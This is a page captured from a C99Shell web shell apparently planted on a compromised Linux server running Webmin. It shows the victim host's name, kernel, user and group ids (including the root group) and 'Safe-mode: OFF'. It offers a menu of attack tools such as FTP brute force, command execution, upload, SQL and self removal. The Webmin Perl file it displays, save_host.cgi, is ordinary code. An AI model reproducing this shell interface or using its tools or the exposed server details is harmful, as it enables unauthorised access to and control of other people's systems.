!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/net/   drwxr-xr-x
Free 26.27 GB of 117.98 GB (22.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     save_host.cgi (1.18 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# save_host.cgi
# Create, update or delete a host address

require './net-lib.pl';
$access{'hosts'} == 2 || &error($text{'hosts_ecannot'});
&ReadParse();
&lock_file($config{'hosts_file'});
@hosts = &list_hosts();
if ($in{'delete'}) {
    # deleting a host
    $host = $hosts[$in{'idx'}];
    &delete_host($host);
    }
else {
    # saving or updating a host
    &check_ipaddress_any($in{'address'}) ||
        &error("'".&html_escape($in{'address'})."' is not a valid IP address");
    @h = split(/\s+/, $in{'hosts'});
    foreach $h (@h) {
        $h =~ /^[A-z0-9\-\.]+$/ ||
            &error("'".&html_escape($h)."' is not a valid hostname");
        }
    @h>0 || &error("You must enter at least one hostname");
    if ($in{'new'}) {
        # saving a host
        $host = { 'address' => $in{'address'},
              'hosts' => \@h,
              'active' => $in{'active'} };
        &create_host($host);
        }
    else {
        # updating a host
        $host = $hosts[$in{'idx'}];
        $host->{'address'} = $in{'address'};
        $host->{'hosts'} = \@h;
        $host->{'active'} = $in{'active'};
        &modify_host($host);
        }
    }
&unlock_file($config{'hosts_file'});
&webmin_log($in{'delete'} ? 'delete' : $in{'new'} ? 'create' : 'modify',
        'host', $host->{'address'}, $host);
&redirect("list_hosts.cgi");


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--